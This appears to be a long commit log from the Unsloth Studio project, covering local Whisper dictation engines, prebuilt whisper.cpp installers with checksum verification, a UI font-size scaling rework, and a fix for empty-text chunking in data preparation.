Transformers returns 501 up front instead of decoding a long clip first.
Treat the training startup window as active for STT device selection.
start_training frees VRAM in before_spawn but only assigns _proc later, so
a concurrent STT load could take the GPU that was just cleared. A startup
flag now reports training active from the free until the process is live,
forcing those loads to CPU; a finally clears it on every exit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stub the STT runtime check in transcribe orchestration tests
transcribe() now verifies the local runtime up front, so the unit tests
that exercise transcription orchestration must treat the runtime as
present to keep passing where PyTorch, Transformers, and PyAV are not
installed. Stub ensure_stt_available in the shared fixture and restore
the real check in the availability and load-rejection tests.
* Harden custom Whisper dictation models
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add whisper.cpp dictation engine with per-engine downloads and history rework
Engines
- New GGML STT sidecar that runs a managed whisper-server subprocess with
idle unload, plus a pinned static build script (scripts/build_whisper_cpp.sh)
- Dictation engine picker now offers Browser, Local transcription
(whisper.cpp), and Local transcription (Transformers)
- Both local engines serve the same five curated Whisper models and download
them directly with byte-level progress reported by /audio/stt/status
- Models auto load on selection and when their download finishes
- Unload and training admission account for both engines
Benchmarks (Apple Silicon, greedy, warm, same checkpoints)
- whisper.cpp transcribes 2.4x to 5x faster than Transformers and loads in
about 0.45s vs 0.86s for Whisper Small
- whisper.cpp GGUF path is unchanged by the Transformers addition
(load 0.445s -> 0.444s, short clip 0.391s -> 0.347s, long 1.197s -> 1.129s)
Voice settings UI
- Plain curated model select replaces the searchable combobox
- Single download progress bar with transfer rate for both engines
- Dictation history now stores every dictation with Show more pagination,
a top Clear history action, and links back to the chat it was spoken into
- Archived chats dialog gets the same pagination
- Delete dialog offers deleting a dictation together with its chat
Tests: 88 backend STT tests pass, including new snapshot download coverage.
Frontend typecheck, lint, i18n parity, and production build pass.
* Merge local engines into one option and source GGML models from unslothai
Engine selection
- The dictation engine dropdown is back to two choices: Browser and Local
transcription. The selected model decides the backend: curated ids run
GGML checkpoints through whisper.cpp, searched Hugging Face repositories
run safetensors through Transformers
- Model picker lists the curated models and searches Hugging Face for other
Whisper repositories, validating them before selection. The trigger is a
plain button so the selection never renders inside a text input
- /audio/stt/status accepts a model query param so downloaded state works
for custom repositories; the engine param on load, transcribe, and
download routes is derived from the model everywhere
Model source
- Curated GGML checkpoints now download from the Unsloth-hosted
unslothai/whisper-*-GGUF repositories (one repo per model) instead of
ggerganov/whisper.cpp; cache lookups, progress totals, and in-flight blob
tracking are per-model
Fixes
- Voice settings and dictation history were not persisting: the quota-safe
localStorage wrapper was declared after the store that uses it, so the
persist storage factory failed silently. Every settings write also threw
mid-click, which kept the model picker popover from closing on selection
- is_model_downloaded now verifies config, preprocessor config, and real
weight files instead of trusting an offline snapshot lookup, so a partial
download left by an aborted fetch shows the Download button instead of
failing to load
- Removed whisper.cpp mentions from user-facing text: the ready status
shows Loaded instead of the runtime name, picker rows show the source
repository, and runtime error messages say local transcription runtime
Verified with automated browser sessions and live API checks: selection
closes the picker with no page errors, persisted settings hydrate on
reload, a stale partial snapshot triggers download then loads on MPS and
transcribes, and curated models download from the unslothai repos. 88
backend STT tests, typecheck, lint, i18n parity, and build pass.
* Skip the duplicate source line for custom models in the STT picker
A custom repository's display name is its id, so search results and the
appended current selection rendered the same string twice. The source
line now only renders when it differs from the name; curated rows keep
their name, unslothai source repository, and download size.
* Verify every shard of a sharded checkpoint in the downloaded check
A snapshot holding one of N shards (or a corrupt shard index) passed the
downloaded check and then failed at load. When model.safetensors.index.json
exists, every shard in its weight map must now be present. Found by
simulation; covered by a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Rename stale _starting references in the pump resilience tests
The startup flag on TrainingBackend was renamed to _spawn_in_progress but
two tests added alongside it still asserted on the old name, failing the
Python 3.11 to 3.13 CI jobs.
* Make the selected model row clearly highlighted in the STT picker
The current selection was a faint background tint. It now uses the accent
background with a medium weight name. Two line rows use a small corner
radius; single line custom repo rows keep the pill shape.
* Address review feedback on STT snapshot checks, VRAM release, and dictation UX
Verify snapshot completeness in the load preflight so a partial download
fails before the audio is decoded, for curated and custom repos alike.
Drop the failed accelerator traceback before the CPU retry so the cache
clear can actually release that memory. Keep unloading the GGUF sidecar
after cancelling an in-flight Transformers load; both engines can hold
memory at once. Allow Auto language with English-only .en checkpoints,
matching the backend which sends no forced language. Keep the discard
button usable while a transcription is pending so a slow or hung request
cannot trap the composer in dictation mode. Stop linking Compare and
settings test dictations to the unrelated active single chat thread.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Move the CPU retry out of the exception handler
On Python 3.10 the interpreter exception state keeps its own reference
to the traceback, so dropping it from the caught exception was not
enough to release the failed accelerator load during the retry. Leaving
the handler before clearing the cache works on every supported version.
* Address review feedback on session handoff, chat pinning, and server lifetime
Starting a dictation from a second entry point now cancels the session
it replaces, so the old recording cannot keep the microphone open or
save a transcript with no discard button pointing at it. The linked
chat is pinned when recording starts, so switching threads while a
transcription finalizes cannot relink the transcript to the newly
opened chat. whisper-server is now bound to Studio's lifetime like the
other long-lived children: PDEATHSIG on Linux, the parent job object on
Windows, and pid adoption so the shutdown sweep reaps it; before this
it survived a Ctrl+C exit as an orphan still holding the model.
* Remove the dictation mic test from Voice settings
The composer dictate button covers the same check, so the test row, its
transcript panel, the unsupported fallback row, and their strings and
search entry are gone.
* Studio STT: gate GGUF whisper-server on training and fix dictation retry and dictionary edits
GGUF (whisper.cpp) sidecar:
- Launch whisper-server with --no-gpu while training is active, mirroring the Transformers sidecar's CPU device choice, so a mid-training dictation cannot reclaim the VRAM training just freed.
- Report is_loading() during whisper-server startup so training VRAM admission accounts for the accelerator memory it is about to bind.
- Require PyAV in is_available() so /audio/stt/status reports the engine unavailable when uploads cannot be decoded, instead of loading fine and then 501ing at transcription.
- Reject a missing model before decoding audio, matching the Transformers download preflight.
Voice settings:
- The download Retry button now restarts the download; the sidecar error is sticky until a new start(), so re-polling alone never cleared it.
Dictation dictionary:
- Tabbing from an emptied entry to its remove button no longer commit-splices the row first, which shifted indices and deleted the wrong entry.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fix curated GGUF whisper filenames to match hosted repos
The unslothai/whisper-*-GGUF repos host the checkpoint as whisper-<id>.bin,
not ggml-<id>.bin, so every curated dictation download and cached-path
lookup 404'd and the whisper.cpp engine could never load a model. Point
GGML_STT_MODELS at the real filenames and guard the naming with a test.
* Studio STT: validate a custom dictation repo before downloading it
The Transformers STT engine accepts an arbitrary owner/model repo, but the
download route handed it straight to snapshot_download, pulling a possibly large
non-Whisper repository into the shared HF cache. Confirm the repo is a Whisper
checkpoint first with the existing metadata-only validate_remote_model (no
weights); curated ids short-circuit and the GGUF engine (curated-only) is
unaffected. A non-Whisper repo now 422s before any download.
* Studio STT: preempt a still-loading GGUF server for training admission
A whisper-server still in its startup window binds accelerator memory but has no
loaded_model yet, so training admission could miss it and launch into an OOM.
Make the GGUF startup cancellable (cancel_pending_load signals an abort event and
terminates the starting process without the load lock; _wait_for_server observes
it and raises SttLoadCancelledError; wait_for_load_to_settle blocks on the lock
until the killed server is reaped), and always fold the GGUF sidecar into the
resident-STT summary so a resident Transformers model cannot mask a loading GGUF
server. free_stt_model_for_training now cancels an in-flight load and waits for it
to settle before training claims the memory.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fall back to Transformers when whisper-server is absent
A curated dictation model (including the default small) hard-pinned the GGUF
engine, but standard installs do not ship whisper-server, so every recording
501'd instead of using the Transformers engine that serves the same checkpoint
-- the GGUF sidecar's own documented contract. Add _resolve_serving_stt_engine:
a GGUF request for a curated id (the only ids GGUF accepts, all Transformers-
servable) downgrades to Transformers when whisper-server is unavailable, applied
consistently to download, load and transcribe (not unload, which targets a
specific engine). The Voice tab likewise falls back to the Transformers status so
the model is not shown unavailable and download is not blocked.
* Studio STT: hide custom Whisper caches from the legacy model pickers
The legacy /cached-models (and /cached-gguf) routes called is_hidden_model with
only the owner/model id, which cannot reach the config-based Whisper check, so a
downloaded custom (non-curated) Whisper checkpoint was still offered as a chat
model. Pass the cached snapshot path so _path_is_whisper_model inspects the repo
config and hides it, matching the discovery route.
* Studio STT: hide GGUF dictation repos, lock-free status, unload fallback, split training eviction
- Hide the curated GGUF dictation repos (unslothai/whisper-*-GGUF) from the chat
model inventory and pickers, backend and frontend. Only their Transformers
safetensors companions were hidden; the GGUF repos use a different org and a
-GGUF suffix and carry a raw .bin with no whisper config.json, so they leaked
into chat pickers.
- Make the GGUF sidecar loaded_model/device accessors lock-free, mirroring the
Transformers sidecar. transcribe() holds self._lock across the whole inference
call, so /audio/stt status polls and training admission previously blocked
behind an in-flight transcription.
- stt_unload resolves through the serving resolver: a "gguf" pick on a host
without whisper-server is served by the Transformers fallback, so unload must
target that engine or the resident model is never freed. Unload also attempts
every engine even if one raises, so a failure freeing one backend no longer
skips the other.
- free_stt_model_for_training frees the Transformers and GGUF sidecars under
independent exception boundaries so a failure unloading one no longer skips
the other before training claims the memory.
Adds tests/test_stt_review_fixes.py covering all four.
* Studio STT: resolve Auto dictation language for the model engine + snapshot process liveness
- The model dictation adapter sent the raw setting (the literal "auto") to the
backend, while the browser engine resolves Auto via resolveDictationLanguage.
A batch of non-English voice notes came back mostly English on Auto. Add
resolveModelDictationLanguage: only the literal "auto" is resolved to a
concrete locale, gated so it becomes a language the model AND Whisper can
honor (mirroring the backend's known-whisper-languages set); an explicit
language, or a locale Whisper cannot honor, stays unchanged/auto-detect. Wire
it into both adapter call sites.
- GgmlSttSidecar._process_alive() read self._process twice; a concurrent
unload() nulls it under the lock while loaded_model/device read lock-free, so
a null between the two reads called None.poll(). Snapshot once. Adds a
deterministic regression test.
* studio: tighten comments and docstrings in the dictation modules
* studio: harden dictation model downloads, GGML readiness, and recording paths
Address review findings on the STT dictation feature:
- build_whisper_cpp.sh refuses to delete a whisper.cpp tree under a custom
Studio home unless it carries the Studio ownership marker, matching the
setup.sh policy, and marks trees it creates
- _snapshot_is_complete validates every shard of a sharded PyTorch
(pytorch_model.bin.index.json) checkpoint like the safetensors path, and
requires tokenizer assets (tokenizer.json or vocab.json + merges.txt)
- custom-repo downloads pin the revision resolved at validation time and
restrict snapshot_download to the model/tokenizer/config/preprocessor file
classes Studio loads
- the GGML sidecar holds its port reservation until just before spawning
whisper-server and only accepts readiness from a responder that both looks
like whisper.cpp's server and belongs to the still-running managed child,
probing twice, so mic audio cannot be posted to a foreign local process
- the recording adapter transcribes every non-empty segment; the RMS meter
only shapes segment boundaries and can no longer discard quiet speech
- Compare-pane dictation can cancel a pending transcription on second click,
with the button relabeled while finalizing
- localStorage quota recovery halves the dictation history until the save
fits, so small histories shrink too
- the System default TTS voice resolves to the platform default voice
- new dictation UI imports go through the chat and hub feature barrels
Regression tests cover the build-script gate, sharded PyTorch and tokenizer
completeness, revision pinning and allow patterns, and the whisper-server
readiness probe.
* Fix STT download and voice picker follow-ups
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add dictation button regression coverage
* Studio: prebuilt whisper.cpp via the shared llama.cpp install core, slim bundles paired to the llama prebuilt (#7294)
* Studio STT: add prebuilt whisper.cpp (whisper-server) installer
New install_whisper_prebuilt.py downloads a per-platform whisper-server
bundle published by the unslothai/whisper.cpp prebuilt CI into the managed
whisper.cpp dir (build/bin/whisper-server) so local dictation needs no
compiler. Mirrors install_node_prebuilt.py / install_llama_prebuilt.py:
host + backend detection, sha256 pins (whisper_prebuilt_pins.json) as the
trust anchor, staging + install lock + atomic swap, traversal-safe extract,
co-located shared libs (RUNPATH=$ORIGIN), an UNSLOTH_WHISPER_PREBUILT_INFO.json
marker with idempotent "already matches", and exit codes 0/1/2/3. Not wired
into setup yet; the pins ship empty so every asset fails closed until the
first fork release is published and its digests are reviewed in.
* Studio STT: install prebuilt whisper.cpp during setup and update
Add a fail-open whisper.cpp block to setup.sh after the llama.cpp section so
`unsloth studio update` (and a fresh install) fetch the prebuilt whisper-server
into the managed whisper.cpp dir the sidecar discovers. It skips a user-set
WHISPER_SERVER_PATH/UNSLOTH_WHISPER_CPP_PATH, honors UNSLOTH_SKIP_WHISPER_INSTALL,
forwards the resolved ROCm gfx, and never aborts setup: a busy install keeps the
existing runtime, and an unavailable prebuilt stays quiet (source build is opt-in
via UNSLOTH_WHISPER_FORCE_COMPILE) since Transformers STT and browser dictation
remain. Register UNSLOTH_WHISPER_PREBUILT_INFO.json as Studio-owned evidence.
* Studio STT: harden whisper-server child env + WSL ROCm detection
- Sidecar spawns whisper-server with a scrubbed child env that prepends the
binary dir (co-located GPU libs) to the loader path, and on WSL2 ROCm loads
the system HIP first (HSA_ENABLE_DXG_DETECTION=1) so a bundle's bare-metal HIP
does not segfault on /dev/dxg. Secret-bearing vars are dropped from the child.
- find_whisper_server_binary now requires an executable, not just a file.
- Installer rocm probe passes HSA_ENABLE_DXG_DETECTION and falls back to
/opt/rocm/bin/rocminfo so a WSL ROCm host is not misdetected as CPU-only;
gfx parsing skips the gfx000 CPU agent and generic ISA lines.
- Tests for the child env (secret scrub, lib dir, WSL HIP precedence), the
executable check, and the WSL rocm detection.
* Studio STT: in-app whisper.cpp prebuilt update stack + ship pins in the wheel
Mirror the llama.cpp update stack for the whisper.cpp prebuilt so Studio can
detect and install a newer whisper-server release from inside the app:
- backend/utils/whisper_cpp_freshness.py: read UNSLOTH_WHISPER_PREBUILT_INFO.json
and compare the installed release against the newest unslothai/whisper.cpp
release. Whisper tags are v<upstream>-unsloth.<N>, so is_behind compares a
(major, minor, patch, serial) key with a strict downgrade guard; 24h cache;
fail-open.
- backend/utils/whisper_cpp_update.py: run install_whisper_prebuilt.py to fetch
and atomically swap the newest bundle, unloading the warm GGUF sidecar first.
- backend/routes/whisper.py mounted at /api/whisper (update-status + update).
- pyproject: add whisper_prebuilt_pins.json to studio package-data so the
installer's trust anchor ships in the wheel (it is a data file, not a .py
module, so package discovery alone does not include it; node_prebuilt_pins.json
is listed for the same reason). Without this a pip-installed wheel had no pins
and the prebuilt install aborted to Transformers STT.
Adds test_whisper_cpp_freshness.py (version parser, is_behind matrix + downgrade
guard, marker layouts, stale decision, fail-open).
* Studio STT: verify whisper prebuilts via the release checksum index, like llama.cpp
Re-align the whisper.cpp prebuilt installer to install_llama_prebuilt.py's trust
model: instead of a committed whisper_prebuilt_pins.json, verify every download
against the release's own whisper-prebuilt-sha256.json checksum index, fetched
from the same GitHub release.
- parse_release_checksums / fetch_release_checksums / expected_sha256_for replace
the pins layer. The index is validated for schema/component and that its
release_tag matches the resolved release; an asset absent from it, a release
that does not publish it, or a manifest sha256 that disagrees with it all fail
closed to a source build.
- resolve_release_tag now resolves the newest published release at runtime (or an
explicit --published-release-tag), matching llama and the freshness check;
removed the pinned-default and the UNSLOTH_WHISPER_ALLOW_UNVERIFIED opt-in.
- Delete studio/whisper_prebuilt_pins.json and drop its pyproject package-data
entry (nothing to ship now, same as llama which has no committed pins).
- Adds test_install_whisper_prebuilt_checksums.py (index parser, fail-closed on
uncovered asset, tampered-manifest guard, newest-release resolution).
This is a same-origin checksum (integrity, not authenticity), identical to the
llama.cpp installer; pair releases with GitHub artifact attestations for provenance.
* Resolve whisper prebuilt release via the download host (no GitHub API)
Mirror install_llama_prebuilt.py's fast path: resolve the release tag from
the releases/latest redirect and fetch the manifest + checksum index from
constructed releases/download URLs, so the common install path makes zero
api.github.com calls (unauthenticated api.github.com is capped at 60 req/hour
per IP; the download host is not). Fall back to the GitHub API only on a 404,
malformed asset, or tag mismatch.
* Studio STT: coverage-aware whisper prebuilt selection via a shared core
whisper's select_artifact returned the first os/arch/backend manifest match and
ignored the SM-coverage fields the release manifest already carries, so a
Blackwell B200 (sm_100) was served cuda12-legacy (sms 50-61) -- runnable only via
forward PTX JIT. install_llama_prebuilt.py on the same host correctly picks
cuda13-newer.
Extract the coverage-aware selection into a shared, component-agnostic core under
studio/backend/utils/prebuilt/ (selection + GPU host-capability detection), lifted
from llama's linux_cuda_choice_from_release / _artifact_covers_sms / _sm_range and
generalised over a normalised artifact. whisper's HostInfo now records the GPU
compute caps + driver CUDA version (honoring CUDA_VISIBLE_DEVICES), and
select_artifact routes CUDA/ROCm through the shared selector: every visible SM
must be covered, the tightest-covering profile wins (Blackwell-aware runtime-line
ordering), ROCm matches the gfx target exactly, and an uncovered GPU falls back to
the CPU bundle. CPU/Metal/Vulkan keep first-match. The resolver JSON, exit codes,
and "already matches" contract are unchanged.
On the B200 the installer now resolves cuda13-newer, matching llama.
* Studio STT: gate whisper CUDA selection on the on-disk runtime, like llama
The prebuilt CUDA bundles are dynamically linked and intentionally do NOT ship
libcudart/libcublas -- they load the same runtime the host already has. So the
driver's advertised CUDA version is only an upper bound: a cuda13 bundle still
needs cuda13 runtime libraries present on disk. Port llama's on-disk runtime
scan (detected_linux_runtime_lines / detected_windows_runtime_lines) into the
shared core and intersect it with the driver-compatible lines in
select_cuda_attempts. A host with a cuda13 driver but only cuda12 runtime (e.g.
torch-cuda12) now correctly gets a cuda12 bundle instead of an unloadable cuda13
one; a host with no CUDA runtime at all falls back to CPU.
Fixes a glob bug in the port (any(Path(d).glob(p) for d in dirs) tests generator
truthiness, not a match) that made every major report present; add a real
filesystem test that exercises the scan.
* studio: harden shared prebuilt core to full llama parity
Apply the review findings on the shared coverage-aware prebuilt-consumer
core so whisper.cpp selection is exactly equivalent to the llama.cpp path.
hosts.py: port llama's CUDA_VISIBLE_DEVICES handling. A GPU hidden by an
index/UUID selector now reports has_usable_nvidia False instead of staying
usable, via supports_explicit_visible_device_matching plus the physical /
explicit-match branches, and _select_visible_rows now matches rows the way
llama does (index or UUID, gpu- prefix optional) and skips unmatched tokens
rather than keeping all rows. Adds the Linux /proc/driver/nvidia/gpus
fallback and has_physical_nvidia. Adds parse_macos_version.
runtime_libs.py: the Linux on-disk scan now requires the exact libcudart /
libcublas SONAME (libcudart.so.13), not a libcudart.so.13* glob, so a bare
versioned file without the SONAME symlink no longer counts as loadable.
Hardens the ldconfig parse against an empty left-hand side.
selection.py: fix the Blackwell/torch reordering so it keys on the covering
runtime lines (falls through to the torch preference when the covering lines
were filtered out), matching linux_cuda_choice_from_release. Corrects the
compatible_runtime_lines_for_driver docstring: the bundles do not ship the
CUDA runtime, so the driver version is only an upper bound and the caller
must intersect with the on-disk scan.
install_whisper_prebuilt.py: enforce a macOS artifact's min_os (new
HostInfo.macos_version) so a bundle that cannot load on the host OS version
is dropped. Keep resolver stdout to only the JSON line by leaving logs on
stderr in --resolve-prebuilt mode, and map an unexpected probe failure to
prebuilt_available False instead of a traceback.
Tests: new host-probe suite for the visible-device logic, exact-SONAME
runtime-scan cases, macOS min_os filtering, resolver stdout-only-JSON,
exit-code mapping, and the repo key.
* studio: fix whisper prebuilt selection + launch parity gaps from review
A parallel review surfaced integration defects where the whisper path could
select or launch a bundle that cannot run on a concrete host. Each is fixed to
match install_llama_prebuilt.py.
macOS min_os: the manifest labels macOS requirements as macos-<version>
(e.g. macos-14.0), which the version parser could not read, so the guard was a
no-op and a macOS-13 host would install the macos-14 Metal bundle. Strip the
platform prefix before parsing.
ROCm gfx detection: _detect_rocm_gfx returned the first gfx token and ignored
HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES. Since exact
ROCm matching treats that token as the active GPU, a mixed APU + dGPU host
(gfx1151 + gfx1100) with HIP_VISIBLE_DEVICES=1 installed the wrong archive. Route
through a shared pick_rocm_gfx_target (lifted from llama) that parses per-GPU
sections and honors the visibility vars (empty / -1 -> no AMD GPU).
--rocm-gfx override: recording the arch without setting has_rocm left the host on
its CUDA/CPU path so the ROCm bundle was never picked. --rocm-gfx now implies
has_rocm and clears NVIDIA state, like llama's _apply_host_overrides.
CUDA launch env: a CUDA bundle ships the ggml CUDA backend but not
libcudart/libcublas, and the sidecar launch env exposed only the bundle dir, so
on a host whose CUDA runtime lives only in the PyTorch wheels the selection would
gate cuda usable but the server could not load it. Add the CUDA-from-PyTorch
runtime dirs to the child loader path for CUDA bundles (bundle dir still first),
mirroring binary_env.
Also normalize a manifest artifact's supported_sms defensively (parity with
llama's parser) and document that blackwell_min_toolkit_for_caps is retained for
the Phase B llama Windows path.
Not changed (verified parity, not defects): Linux/Windows min_os is enforced
nowhere in llama (macOS only); the resolver is optimistic about the checksum
index and the install path verifies.
* studio: tighten prebuilt-core code comments
* studio: lift shared prebuilt installer core out of the whisper installer
* studio: reuse the llama.cpp prebuilt installer machinery for whisper
* studio: unify llama and whisper prebuilt installers on a shared descriptor core
* studio: consolidate prebuilt installer tests into the shared core suite
Grow tests/studio/install/test_prebuilt_core.py from 62 to 164 tests so every
component-agnostic behavior runs against both descriptors: the full seven
profile CUDA release matrix (multi-GPU, on-disk runtime gating, shuffle
stability, missing SM metadata, dotted SM normalization, no-driver fallback
policy), the ROCm gfx family matrix, macOS min_os gating and its helper,
backend resolution incl. cpu-fallback precedence and Intel-mac auto detect,
checksum-index non-object and plain-lookup cases, the tar symlink/hardlink
extraction guards moved from the llama suite, and the compute-cap, visible
device, runtime-line and Blackwell helper value tables moved verbatim from
the llama characterization suites.
Delete only tests whose exact behavior the master now asserts for the same
component: 40 pure-alias helper cases in test_selection_logic.py (replaced by
value-identical master tables plus an alias-identity pin), 6 extraction moves
and the master-absorbed zip-symlink case in the llama logic suite, 3 routing
twins in test_rocm_support.py already pinned byte-for-byte in
test_selection_logic.py, the 2 Blackwell helper tables in the backend resolve
suite, 28 whisper logic tests and 10 whisper checksum tests re-asserted by
the master whisper parameterization. Wrapper wiring pins, the llama release
plan dialect, fingerprints and every llama-only behavior stay untouched.
* studio: dedupe sidecar and update helpers into the backend prebuilt package
* studio: chain whisper.cpp prebuilt updates onto the llama.cpp update flow
* studio: consume paired slim whisper prebuilts via the llama ggml runtime
* studio: serve every whisper backend from slim prebuilts
* studio: drop the whisper fat per-accelerator selection chain
unslothai/whisper.cpp releases are slim-only from v1.9.1-unsloth.2: one
ggml-less bundle per os/arch, paired to the llama.cpp prebuilt that provides
every ggml backend. Delete the whisper-side fat CUDA/ROCm/metal/vulkan
selection glue; keep slim selection + pairing, link_ggml_runtime, and one
legacy shape, the published fat CPU bundle of an explicitly pinned pre-slim
release. Exit 2 now reads as prebuilt unavailable (whisper never source
builds); setup already treats it that way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Wire libomp runtime DLL alongside ggml in slim whisper installs
llama's clang-built windows-arm64 ggml-base.dll imports
libomp140.aarch64.dll, shipped in the llama bundle but not a system DLL.
Without it next to whisper-server.exe the loader fails with
STATUS_DLL_NOT_FOUND before main. MSVC x64 links vcomp140.dll from
System32 and Linux ggml uses system libgomp.so.1, so only windows-arm64
was affected. The empty-runtime guard still requires a real ggml
library; libomp alone is not a pairing.
* studio: drop whisper-side fat-selection support structure
Slim whisper bundles are selected per os/arch only; all accelerator
capability comes from the installed llama.cpp prebuilt, whose installer
already did the coverage-aware selection. Remove the machinery that only
existed to pick among fat per-accelerator whisper bundles:
- prebuilt_core: delete the generic CUDA/ROCm coverage selection
(select_cuda_artifact, select_rocm_artifact, ArtifactView adapters,
detected_cuda_runtime_lines, the exact-SONAME linux probe) that no
shipped component routes through; llama keeps its own selection chain
and whisper shadows select_artifact with the slim-only version.
select_artifact is now a plain os/arch/backend first-match.
- install_whisper_prebuilt: drop the HostInfo CUDA fields
(compute_caps, driver_cuda_version, torch_runtime_line) and the torch
runtime probe that populated them; nothing reachable reads them, and
the resolver payload sources runtime_line from the artifact.
- whisper_cpp_update: delete the standalone start_update job worker;
whisper applies only run as the chained phase of the combined
llama+whisper update. The status payload keeps its job field (idle).
- routes/whisper: drop the progress logger that could never fire.
- tests: remove tests of the deleted paths and tests duplicating the
descriptor-parameterized core suite or the llama freshness suite.
Contracts unchanged: resolver JSON keys, exit codes, marker fields,
pairing logs, and the pinned pre-slim fat CPU escape hatch.
* Address review feedback on the whisper prebuilt update and install paths
- Pin the chained whisper phase to the release the freshness check
offered, so the download-host latest pointer cannot reinstall an
older build in a loop
- Wire the whisper prebuilt install into setup.ps1 (Windows setup
previously skipped it entirely)
- Treat a non-executable server or missing wired ggml libraries as a
broken install instead of reporting already matches
- Keep whisper sidecar reloads out of the job-level reload flag and
resync chat state after a partial chained update that unloaded llama
- Repoint home and profile vars for the whisper-server subprocess at a
managed scratch dir and drop credential-store pointers
- Clear the prebuilt marker before the opt-in source build overwrite
- Write the prebuilt marker with explicit utf-8 encoding
* Tighten comments in the whisper prebuilt consumer
* Harden the Windows whisper setup phase and the chained update edges
- setup.ps1: honor WHISPER_SERVER_PATH / UNSLOTH_WHISPER_CPP_PATH /
UNSLOTH_SKIP_WHISPER_INSTALL, run the custom-home ownership guard
before the atomic install, and forward the release-tag pin and ROCm
hints like setup.sh
- sidecar: a cpu-selected install launches whisper-server with --no-gpu
(slim wiring links every llama backend, so the flag is what keeps a
deliberate CPU choice off the GPU)
- chained update: leave whisper unpinned on macOS (the llama phase can
walk back there, and a newest-tag pin could be an impossible pairing
on every retry) and treat installer exit 2 as kept-existing-runtime
instead of failing the combined job
- job.to_tag now comes only from the llama phase, so a whisper-only
round cannot report a llama update that never ran
* Fix slim whisper runtime follow-ups
* Address remaining whisper update reviews
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address remaining prebuilt update reviews
* Fix remaining chained update reviews
* Fix remaining whisper runtime review edges
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---------
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
Adds a configurable Hugging Face model download cache location to Unsloth Studio, selectable from Settings, with per-cache download manifests, scoped deletion, and read-only inventory of previously selected caches.
* Studio: drive UI font size through a typography scale, not the root font size
Follow up to #7355. The preference now writes --ui-font-scale
(selected / 16) and a data-ui-font-size attribute on the root instead
of mutating the root font size, and the applier clears any stale inline
root font-size left by older builds. Because the rem base never moves,
every layout-only rem-to-px conversion from #7355 is reverted to its
original form: the spacing, radius and container tokens, sidebar and
thread widths, grid tracks, calc margins and hub.css dimensions match
pre-#7355 main again, which also restores rem-based accessibility
scaling for users with a larger browser default font size.
Typography scales through tokens in index.css, all exact at 16px:
- The named Tailwind sizes (--text-xs through --text-4xl) multiply
their defaults by the scale, so standard utilities scale
- One token per design px size (--text-ui-8 ... --text-ui-34) replaces
every arbitrary text-[Npx] class; leading-ui-* mirrors the exact
line heights and the numeric --leading-3..10 scale as well
- CSS font-size and line-height declarations multiply by the scale
- Chart labels scale through a .recharts-text rule; streamdown and
react-flow px text is re-based via scaled overrides; KaTeX's 1px
layout trick stays fixed by design
- The logo lockups keep their half-rate behavior via the scale var
- The explicit Code font size remains unmultiplied
Keeps the #7355 behavior fixes: color chip min width, voice select
min/max widths, and the select and dropdown menus scrolling an inner
viewport so their corners stay rounded. The whitespace-password and
IME rename guards that merged alongside are preserved.
* Studio: contract and Playwright coverage for the UI font size scale
test_ui_font_scale_contract.py pins the mechanism (scale var written,
root font size never mutated, tokens scaled, code font size not
multiplied, the Radix select viewport owning scroll state) and guards
against new raw pixel typography, with a documented allowlist for the
recharts fontSize props covered by the stylesheet override and the
offscreen clipboard textarea.
playwright_ui_font_scale.py drives the real appearance controls: root
font size fixed at 12/16/20, text and line height scale by size/16,
sidebar width invariant, explicit code font size stays fixed, an
overflowing dictation select scrolls its Radix viewport by keyboard
and wheel, and the default restores exactly. Wired into the UI smoke
workflow against the second studio boot.
The thinking-compact and descender contracts move back to the rem and
token forms now that layout values no longer need px pinning.
The API key and Connections form reused grid tracks that only collapse at the
viewport width, so inside the narrower settings pane the provider selector and
API key input were clipped. Switch the form to container queries so it responds
to the pane width and stacks to a single column when narrow. Other settings
tabs are unaffected.
* fix(dataprep): don't emit a degenerate chunk for empty text
smart_chunk_text feeds empty / whitespace-only text (which tokenizes to
zero tokens) into the single-chunk branch, which unconditionally returns
one chunk. That yields a lone-EOS "document" (input_ids=[eos]) or, when
the tokenizer has no eos_token_id, a zero-length input_ids=[] — an
invalid sample that breaks a downstream collator/trainer.
load_from_file already guards against this with a ValueError, but
chunk_text, smart_chunk_text and load_from_files do not, so batch-loading
a directory that contains an empty file silently injects garbage rows.
Return no chunks when the tokenized text is empty, so empty inputs
contribute nothing instead of a degenerate sample. load_from_file keeps
its explicit ValueError (its guard runs first).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard empty/whitespace text before tokenizing in raw_text
Real BPE/SentencePiece tokenizers emit tokens for spaces and newlines, so the len(tokens)==0 check let whitespace-only documents through as a degenerate lone-EOS sample. Guard on text.strip() before tokenizing (mirroring load_from_file), and raise in load_from_files when every file is empty so return_tokenized mode never falls back to a text-column dataset. Test now uses a whitespace-preserving tokenizer and covers both return_tokenized modes.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
